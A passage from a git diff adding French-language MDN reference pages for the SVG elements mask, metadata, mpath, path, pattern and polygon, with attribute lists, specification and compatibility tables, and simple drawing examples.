+ <dt><a href="/fr/docs/Web/SVG/Attribute/Styling">Attributs de style</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Conditional_Processing">Attributs de traitement conditionnel</a></dt>
+ <dd><small>Notamment: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></dt>
+ <dd><small>Notamment: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+</dl>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Masks', '#MaskElement', '&lt;mask&gt;')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#Masking', '&lt;mask&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.mask")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Élément de détourage: {{SVGElement("clipPath")}}</li>
+ <li>Propriétés CSS de masque: {{cssxref("mask")}}, {{cssxref("mask-image")}},{{cssxref("mask-mode")}}, {{cssxref("mask-repeat")}}, {{cssxref("mask-position")}}, {{cssxref("mask-clip")}}, {{cssxref("mask-origin")}}, {{cssxref("mask-composite")}}, {{cssxref("mask-size")}}, {{cssxref("pointer-events")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/metadata/index.html b/files/fr/web/svg/element/metadata/index.html
new file mode 100644
index 0000000000..faadcaaa64
--- /dev/null
+++ b/files/fr/web/svg/element/metadata/index.html
@@ -0,0 +1,63 @@
+---
+title: <metadata>
+slug: Web/SVG/Element/metadata
+tags:
+  - Element
+  - SVG
+  - SVG Description
+translation_of: Web/SVG/Element/metadata
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;metadata&gt;</code></strong> permet d'ajouter des metadonnées au contenu SVG. Des metadonnées sont des données structurées qui donnent des informations sur le contenu du document. La balise <code>&lt;metadata&gt;</code> doit contenir des éléments d'un autre {{Glossary("namespace", "namespaces")}} {{Glossary("XML")}} tel que {{Glossary("RDF")}}, <a href="https://fr.wikipedia.org/wiki/FOAF">FOAF</a>, etc.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Événements_globaux">Attributs d'événements globaux</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGMetadataElement")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#MetadataElement', '&lt;metadata&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Autorise les attributs d'événements globaux sur l'élément.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'metadata.html#MetadataElement', '&lt;metadata&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.metadata")}}</p>
diff --git a/files/fr/web/svg/element/mpath/index.html b/files/fr/web/svg/element/mpath/index.html
new file mode 100644
index 0000000000..5d5d322dc9
--- /dev/null
+++ b/files/fr/web/svg/element/mpath/index.html
@@ -0,0 +1,108 @@
+---
+title: <mpath>
+slug: Web/SVG/Element/mpath
+tags:
+  - Element
+  - SVG
+  - SVG Animation
+translation_of: Web/SVG/Element/mpath
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;mpath&gt;</code></strong> se place dans un élément {{SVGElement("animateMotion")}}, il permet de référencer un élément {{SVGElement("path")}} pour définir le chemin utilisé par l'animation.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base" title="en/SVG/Attribute#Core">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_XLink" title="en/SVG/Attribute#XLink">Attributs Xlink</a></li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGMPathElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[23]">&lt;svg width="100%" height="100%"  viewBox="0 0 500 300"
+     xmlns="http://www.w3.org/2000/svg"
+     xmlns:xlink="http://www.w3.org/1999/xlink" &gt;
+
+  &lt;rect x="1" y="1" width="498" height="298"
+        fill="none" stroke="blue" stroke-width="2" /&gt;
+
+  &lt;!-- Affiche le chemin en bleu avec trois cercles
+       au début, au milieu et à la fin du chemin --&gt;
+  &lt;path id="path1" d="M100,250 C 100,50 400,50 400,250"
+        fill="none" stroke="blue" stroke-width="7.06"  /&gt;
+  &lt;circle cx="100" cy="250" r="17.64" fill="blue"  /&gt;
+  &lt;circle cx="250" cy="100" r="17.64" fill="blue"  /&gt;
+  &lt;circle cx="400" cy="250" r="17.64" fill="blue"  /&gt;
+
+  &lt;!-- Triangle qui sera déplacé le long du chemin.
+       Il est définit avec une orientation verticale, la base du triangle
+       est centrée horizontalement juste au-dessus de l'origine. --&gt;
+  &lt;path d="M-25,-12.5 L25,-12.5 L 0,-87.5 z"
+        fill="yellow" stroke="red" stroke-width="7.06"  &gt;
+    &lt;!-- Référence le path à utiliser --&gt;
+    &lt;animateMotion dur="6s" repeatCount="indefinite" rotate="auto" &gt;
+       &lt;mpath xlink:href="#path1"/&gt;
+    &lt;/animateMotion&gt;
+  &lt;/path&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 250, 165)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#MPathElement", "&lt;mpath&gt;")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "animate.html#MPathElement", "&lt;mpath&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.mpath")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("animateMotion")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/path/index.html b/files/fr/web/svg/element/path/index.html
new file mode 100644
index 0000000000..c2ecfd5096
--- /dev/null
+++ b/files/fr/web/svg/element/path/index.html
@@ -0,0 +1,69 @@
+---
+title: <path>
+slug: Web/SVG/Element/path
+tags:
+  - SVG
+translation_of: Web/SVG/Element/path
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <code>path</code> est l'élément générique pour définir une forme. Toutes les formes basiques peuvent aussi être faites à partir de <code>path</code>.</p>
+
+<h2 id="Usage">Usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: xml notranslate">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+&lt;svg width="100%" height="100%" viewBox="0 0 400 400"
+     xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+
+  &lt;path d="M 100 100 L 300 100 L 200 300 z"
+        fill="red" stroke-width="3" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_Globaux">Attributs Globaux</h3>
+
+<ul>
+ <li><a href="/fr/SVG/Attribute#ConditionalProccessing" title="fr/SVG/Attribute#ConditionalProccessing">Attributs conditionnels</a> »</li>
+ <li><a href="/fr/SVG/Attribute#Core" title="fr/SVG/Attribute#Core">Attributs centraux</a> »</li>
+ <li><a href="/fr/SVG/Attribute#GraphicalEvent" title="fr/SVG/Attribute#GraphicalEvent">Attributs d'événements graphiques</a> »</li>
+ <li><a href="/fr/SVG/Attribute#Presentation" title="fr/SVG/Attribute#Presentation">Attributs de présentation</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("d") }}</li>
+ <li>{{ SVGAttr("pathLength") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en/DOM/SVGPathElement" title="en/DOM/SVGPathElement">SVGPathElement</a></code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("svg.elements.path")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{ SVGElement("circle") }}</li>
+ <li>{{ SVGElement("ellipse") }}</li>
+ <li>{{ SVGElement("line") }}</li>
+ <li>{{ SVGElement("polygon") }}</li>
+ <li>{{ SVGElement("polyline") }}</li>
+ <li>{{ SVGElement("rect") }}</li>
+ <li><a href="/en/SVG/Tutorial/Paths" title="en/SVG/Tutorial/Paths">The MDN SVG "Getting Started" tutorial : Path</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/pattern/index.html b/files/fr/web/svg/element/pattern/index.html
new file mode 100644
index 0000000000..ba728e5c0e
--- /dev/null
+++ b/files/fr/web/svg/element/pattern/index.html
@@ -0,0 +1,166 @@
+---
+title: <pattern>
+slug: Web/SVG/Element/pattern
+tags:
+  - Conteneur SVG
+  - Eléments(2)
+  - SVG
+translation_of: Web/SVG/Element/pattern
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;pattern&gt;</code></strong> définit un objet graphique qui peut être redessiné à des intervalles de coordonnées x et y répétés ("en mosaïque") pour couvrir une surface.</p>
+
+<p>Le <strong><code>&lt;pattern&gt;</code></strong> est référéne par les attributs {{SVGAttr("fill")}} et {{SVGAttr("stroke")}} sur les autres éléments graphiques, pour appliquer un remplissage ou une bordure sur ces éléments avec le motif référencé.</p>
+
+<pre class="notranslate">html, body, svg { height: 100% }
+</pre>
+
+<pre class="notranslate">&lt;svg viewBox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;pattern id="star" viewBox="0,0,10,10" width="10%" height="10%"&gt;
+      &lt;polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;circle cx="50"  cy="50" r="50" fill="url(#star)"/&gt;
+  &lt;circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 150, '100%')}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{SVGAttr("height")}}</dt>
+ <dd>Cet attribut détermine la hauteur du motif de mosaïque.<br>
+ <small><em>Type de valeur </em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;longueur&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;pourcentage&gt;</strong></a>; <em>Valeur par défaut </em>: <code>0</code>; <em>Animable </em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("href")}}</dt>
+ <dd>Cet attribut référence un patron de motif qui fournit les valeurs par défaut des attributs de l'élément <code>&lt;pattern&gt;</code>.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#URL"><strong>&lt;URL&gt;</strong></a>; <em>Valeur par défaut </em>: <em>none</em>; <em>Animable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("patternContentUnits")}}</dt>
+ <dd>Cet attribut définit le système de coordonnées pour le contenu de {{SVGElement("pattern")}}.<br>
+ <small><em>Type de valeur </em>: <code>userSpaceOnUse</code>|<code>objectBoundingBox</code>; <em>Valeur par défaut </em>: <code>userSpaceOnUse</code>; <em>Animable</em>: <strong>yes</strong></small>
+ <p class="note"><strong>Note :</strong> Cet attribut n'a pas d'effet si l'attribut <code>viewBox</code> est définit sur l'élément <code>&lt;pattern&gt;</code>.</p>
+ </dd>
+ <dt>{{SVGAttr("patternTransform")}}</dt>
+ <dd>Cet attribut contient la définition d'une transformation optionnelle supplémentaire du système de coordonnées du motif vers celui de la cible.<br>
+ <small><em>Type de valeur </em>: <strong><a href="/docs/Web/SVG/Content_type#Transform-list">&lt;transform-list&gt;</a></strong>; <em>Valeur par défaut </em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("patternUnits")}}</dt>
+ <dd>Cet attribut définit le système de coordonnées pour les attributs <code>x</code>, <code>y</code>, <code>width</code> , et <code>height</code>.<br>
+ <small><em>Type de valeur </em>: <code>userSpaceOnUse</code>|<code>objectBoundingBox</code>; <em>Valeur par défaut </em>: <code>objectBoundingBox</code>; <em>Animable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("preserveAspectRatio")}}</dt>
+ <dd>Cet attribut définit comme le fragment SVG doit être déformé s'il est embarqué dans un conteneur avec un ratio d'aspect différent.<br>
+ <small><em>Type de valeur </em>: (<code>none</code>| <code>xMinYMin</code>| <code>xMidYMin</code>| <code>xMaxYMin</code>| <code>xMinYMid</code>| <code>xMidYMid</code>| <code>xMaxYMid</code>| <code>xMinYMax</code>| <code>xMidYMax</code>| <code>xMaxYMax</code>) (<code>meet</code>|<code>slice</code>)? ; <em>Valeur par défaut </em>: <code>xMidYMid meet</code>; <em>Animable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("viewBox")}}</dt>
+ <dd>Cet attribut définit les limites de la fenêtre de rendu du SVG pour le fragment du motif.<br>
+ <small><em>Type de valeur </em>: <strong><a href="/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-numbers&gt;</a></strong> ; <em>Valeur par défaut </em>: none; <em>Animable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("width")}}</dt>
+ <dd>Cet attribut détermine la largeur du motif de mosaïque.<br>
+ <small><em>Type de valeur </em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut </em>: <code>0</code>; <em>Animable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("x")}}</dt>
+ <dd>Cet attribut détermine le déplacement en coordonnée x du motif de mosaïque.<br>
+ <small><em>Type de valeur </em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut </em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("xlink:href")}} {{deprecated_inline("SVG2")}}</dt>
+ <dd>Cet attribut référence un patron de motif qui fournit des valeurs par défaut pour les attributs du <code>&lt;pattern&gt;</code>.<br>
+ <small><em>Type de valeur </em>: <a href="/docs/Web/SVG/Content_type#URL"><strong>&lt;URL&gt;</strong></a>; <em>Valeur par défaut </em>: <em>none</em>; <em>Animable</em>: <strong>yes</strong></small>
+ <p class="note"><strong>Note :</strong> Pour les navigateurs implémentant <code>href</code>, si à la fois <code>href</code> et <code>xlink:href</code> sont définis, <code>xlink:href</code> sera ignoré et seulement <code>href</code> sera utilisé.</p>
+ </dd>
+ <dt>{{SVGAttr("y")}}</dt>
+ <dd>Cet attribut détermine le déplacement en coordonnée y du motif de mosaïque.<br>
+ <small><em>Type de valeur </em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut </em>: <code>0</code>; <em>Animable</em>: <strong>yes</strong></small></dd>
+ <dt>
+ <h3 id="Global_attributes">Global attributes</h3>
+ <a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Core">Attributs principaux</a></dt>
+ <dd><small>Plus notamment : {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Styling">Attributs de style</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Conditional_Processing">Attributs de traitement conditionnel</a></dt>
+ <dd><small>Plus notamment : {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></dt>
+ <dd><small>Plus notamment : {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Attributs XLink</dt>
+ <dd><small>Plus notamment : {{SVGAttr("xlink:title")}}</small></dd>
+</dl>
+
+<h2 id="Contexte_dutilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Interface_DOM">Interface DOM </h2>
+
+<p>Cet élement implémente l'interface <code><a href="/en/DOM/SVGPatternElement" title="en/DOM/SVGPatternElement">SVGPatternElement</a></code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'pservers.html#Patterns', '&lt;pattern&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'pservers.html#Patterns', '&lt;pattern&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonction</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonction</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/svg/element/polygon/index.html b/files/fr/web/svg/element/polygon/index.html
new file mode 100644
index 0000000000..ac9c3fbb62
--- /dev/null
+++ b/files/fr/web/svg/element/polygon/index.html
@@ -0,0 +1,102 @@
+---
+title: <polygon>
+slug: Web/SVG/Element/polygon
+tags:
+  - Element
+  - Reference
+  - SVG
+  - SVG Graphique
+translation_of: Web/SVG/Element/polygon
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;polygon&gt;</code></strong>  délimite une forme close composée d'un groupe de plusieurs segments de droites. Le dernier point est relié au premier afin de fermer la forme et de relier les traits entre deux. Pour créer une forme ouverte, voir l'élément {{SVGElement("polyline")}}.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Exemple d'un polygone avec le remplissage par défaut --&gt;
+  &lt;polygon points="0,100 50,25 50,75 100,0" /&gt;
+
+  &lt;!-- Le même polygone sans remplissage et avec un contour --&gt;
+  &lt;polygon points="100,100 150,25 150,75 200,0"
+            fill="none" stroke="black" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('SVG', '120', '120', '', 'Web/SVG/Element/polygon') }}</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{SVGAttr('points')}}</dt>
+ <dd>Cette attribut défini une liste de point (paire de coordonnées absolue x et y ) nécessaire pour dessiner le polygone.<br>
+ <small><em>Type de valeur</em>: <a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a>+ ; <em>Valeur par défaut</em>: <code>""</code>; <em>Peut être animé</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("pathLength")}}</dt>
+ <dd>Cet attribut spécifie la taille totale pour le chemin dans l'unité de l'utilisateur.<br>
+ <small><em>Type de valeur</em>: <a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a>; <em>Valeur par défaut</em>: <em>aucune</em>; <em>Peut être animé</em>: <strong>oui</strong></small></dd>
+</dl>
+
+<h3 id="Attributs_Globaux">Attributs Globaux</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Core">Attribut de base</a></dt>
+ <dd><small>Principalement: {{SVGAttr('id')}} et {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Styling">Attribut de style</a></dt>
+ <dd><small>{{SVGAttr('class')}} et {{SVGAttr('style')}}</small></dd>
+ <dt><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Conditional_Processing">Attributs conditionnels</a></dt>
+ <dd><small>Principalement: {{SVGAttr('requiredExtensions')}} et {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Attributs d'évènements</dt>
+ <dd><small><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Attribut d'évènement global</a>, <a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Attribut d'évènement graphique</a></small></dd>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></dt>
+ <dd><small>Principalement: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}} et {{SVGAttr('visibility')}}</small></dd>
+ <dt>Attributs ARIA</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Contexte_dusage">Contexte d'usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGPolygonElement")}}.</p>
+
